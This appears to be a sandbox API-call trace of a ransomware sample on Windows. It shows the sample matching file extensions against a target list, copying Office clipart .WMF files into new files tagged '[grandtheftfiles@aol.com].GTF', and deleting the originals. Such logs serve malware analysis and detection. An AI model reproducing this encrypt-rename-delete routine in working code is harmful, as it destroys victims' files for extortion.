	[0176.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.371] lstrlenW (lpString=".zip") returned 4
	[0176.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.371] lstrlenW (lpString=".rar") returned 4
	[0176.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.371] lstrlenW (lpString=".bz2") returned 4
	[0176.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.371] lstrlenW (lpString=".7z") returned 3
	[0176.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.371] lstrlenW (lpString=".dbf") returned 4
	[0176.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.371] lstrlenW (lpString=".1cd") returned 4
	[0176.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0176.371] lstrlenW (lpString=".jpg") returned 4
	[0176.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.372] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.372] lstrlenW (lpString="J0152690.WMF") returned 12
	[0176.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.484] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1268) returned 1
	[0176.484] CloseHandle (hObject=0x570) returned 1
	[0176.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220
	[0176.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.485] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.485] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0176.486] GetLastError () returned 0x0
	[0176.486] ReadFile (in: hFile=0x570, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x4f4, lpOverlapped=0x0) returned 1
	[0176.487] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x500, lpOverlapped=0x0) returned 1
	[0176.488] ReadFile (in: hFile=0x570, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.488] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.489] SetEndOfFile (hFile=0x564) returned 1
	[0176.489] CloseHandle (hObject=0x564) returned 1
	[0176.489] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.489] SetEndOfFile (hFile=0x570) returned 1
	[0176.492] CloseHandle (hObject=0x570) returned 1
	[0176.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1
	[0176.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.494] lstrlenW (lpString=".doc") returned 4
	[0176.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.494] lstrlenW (lpString=".docx") returned 5
	[0176.494] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.494] lstrlenW (lpString=".pdf") returned 4
	[0176.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.494] lstrlenW (lpString=".xls") returned 4
	[0176.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.494] lstrlenW (lpString=".xlsx") returned 5
	[0176.494] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.494] lstrlenW (lpString=".ppt") returned 4
	[0176.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.494] lstrlenW (lpString=".zip") returned 4
	[0176.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.494] lstrlenW (lpString=".rar") returned 4
	[0176.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.494] lstrlenW (lpString=".bz2") returned 4
	[0176.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.494] lstrlenW (lpString=".7z") returned 3
	[0176.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.495] lstrlenW (lpString=".dbf") returned 4
	[0176.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.495] lstrlenW (lpString=".1cd") returned 4
	[0176.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.495] lstrlenW (lpString=".jpg") returned 4
	[0176.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.495] lstrlenW (lpString=".doc") returned 4
	[0176.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.495] lstrlenW (lpString=".docx") returned 5
	[0176.495] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.495] lstrlenW (lpString=".pdf") returned 4
	[0176.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.495] lstrlenW (lpString=".xls") returned 4
	[0176.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.495] lstrlenW (lpString=".xlsx") returned 5
	[0176.495] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.495] lstrlenW (lpString=".ppt") returned 4
	[0176.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.495] lstrlenW (lpString=".zip") returned 4
	[0176.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.495] lstrlenW (lpString=".rar") returned 4
	[0176.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.495] lstrlenW (lpString=".bz2") returned 4
	[0176.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.495] lstrlenW (lpString=".7z") returned 3
	[0176.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.496] lstrlenW (lpString=".dbf") returned 4
	[0176.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.496] lstrlenW (lpString=".1cd") returned 4
	[0176.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0176.496] lstrlenW (lpString=".jpg") returned 4
	[0176.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.496] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.496] lstrlenW (lpString="J0152694.WMF") returned 12
	[0176.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.498] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1348) returned 1
	[0176.498] CloseHandle (hObject=0x570) returned 1
	[0176.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220
	[0176.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.499] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.499] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0176.500] GetLastError () returned 0x0
	[0176.500] ReadFile (in: hFile=0x570, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x544, lpOverlapped=0x0) returned 1
	[0176.502] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x550, lpOverlapped=0x0) returned 1
	[0176.503] ReadFile (in: hFile=0x570, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.503] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.503] SetEndOfFile (hFile=0x564) returned 1
	[0176.504] CloseHandle (hObject=0x564) returned 1
	[0176.504] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.504] SetEndOfFile (hFile=0x570) returned 1
	[0176.506] CloseHandle (hObject=0x570) returned 1
	[0176.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1
	[0176.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.507] lstrlenW (lpString=".doc") returned 4
	[0176.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.508] lstrlenW (lpString=".docx") returned 5
	[0176.508] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.508] lstrlenW (lpString=".pdf") returned 4
	[0176.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.508] lstrlenW (lpString=".xls") returned 4
	[0176.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.508] lstrlenW (lpString=".xlsx") returned 5
	[0176.508] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.508] lstrlenW (lpString=".ppt") returned 4
	[0176.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.508] lstrlenW (lpString=".zip") returned 4
	[0176.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.508] lstrlenW (lpString=".rar") returned 4
	[0176.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.508] lstrlenW (lpString=".bz2") returned 4
	[0176.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.508] lstrlenW (lpString=".7z") returned 3
	[0176.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.508] lstrlenW (lpString=".dbf") returned 4
	[0176.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.508] lstrlenW (lpString=".1cd") returned 4
	[0176.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.508] lstrlenW (lpString=".jpg") returned 4
	[0176.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.518] lstrlenW (lpString=".doc") returned 4
	[0176.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.519] lstrlenW (lpString=".docx") returned 5
	[0176.519] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.519] lstrlenW (lpString=".pdf") returned 4
	[0176.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.519] lstrlenW (lpString=".xls") returned 4
	[0176.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.519] lstrlenW (lpString=".xlsx") returned 5
	[0176.519] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.519] lstrlenW (lpString=".ppt") returned 4
	[0176.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.519] lstrlenW (lpString=".zip") returned 4
	[0176.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.519] lstrlenW (lpString=".rar") returned 4
	[0176.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.519] lstrlenW (lpString=".bz2") returned 4
	[0176.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.519] lstrlenW (lpString=".7z") returned 3
	[0176.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.519] lstrlenW (lpString=".dbf") returned 4
	[0176.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.519] lstrlenW (lpString=".1cd") returned 4
	[0176.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68
	[0176.519] lstrlenW (lpString=".jpg") returned 4
	[0176.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.519] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.520] lstrlenW (lpString="J0152696.WMF") returned 12
	[0176.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.521] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7320) returned 1
	[0176.521] CloseHandle (hObject=0x570) returned 1
	[0176.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220
	[0176.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.522] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.522] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0176.523] GetLastError () returned 0x0
	[0176.523] ReadFile (in: hFile=0x570, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1c98, lpOverlapped=0x0) returned 1
	[0176.525] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1ca0, lpOverlapped=0x0) returned 1
	[0176.526] ReadFile (in: hFile=0x570, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.526] WriteFile (in: hFile=0x564, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.526] SetEndOfFile (hFile=0x564) returned 1
	[0176.526] CloseHandle (hObject=0x564) returned 1
	[0176.526] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.526] SetEndOfFile (hFile=0x570) returned 1
	[0176.529] CloseHandle (hObject=0x570) returned 1
	[0176.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1
	[0176.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.720] lstrlenW (lpString=".doc") returned 4
	[0176.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.720] lstrlenW (lpString=".docx") returned 5
	[0176.720] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.720] lstrlenW (lpString=".pdf") returned 4
	[0176.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.720] lstrlenW (lpString=".xls") returned 4
	[0176.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.720] lstrlenW (lpString=".xlsx") returned 5
	[0176.720] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.720] lstrlenW (lpString=".ppt") returned 4
	[0176.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.775] lstrlenW (lpString=".zip") returned 4
	[0176.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.775] lstrlenW (lpString=".rar") returned 4
	[0176.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.775] lstrlenW (lpString=".bz2") returned 4
	[0176.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.775] lstrlenW (lpString=".7z") returned 3
	[0176.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.776] lstrlenW (lpString=".dbf") returned 4
	[0176.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.776] lstrlenW (lpString=".1cd") returned 4
	[0176.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.776] lstrlenW (lpString=".jpg") returned 4
	[0176.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0176.776] lstrlenW (lpString=".doc") returned 4
	[0176.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.776] lstrlenW (lpString=".docx") returned 5
	[0176.776] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.776] lstrlenW (lpString=".pdf") returned 4
	[0176.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.776] lstrlenW (lpString=".xls") returned 4
	[0176.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.776] lstrlenW (lpString=".xlsx") returned 5
	[0176.776] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.776] lstrlenW (lpString=".ppt") returned 4
	[0176.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
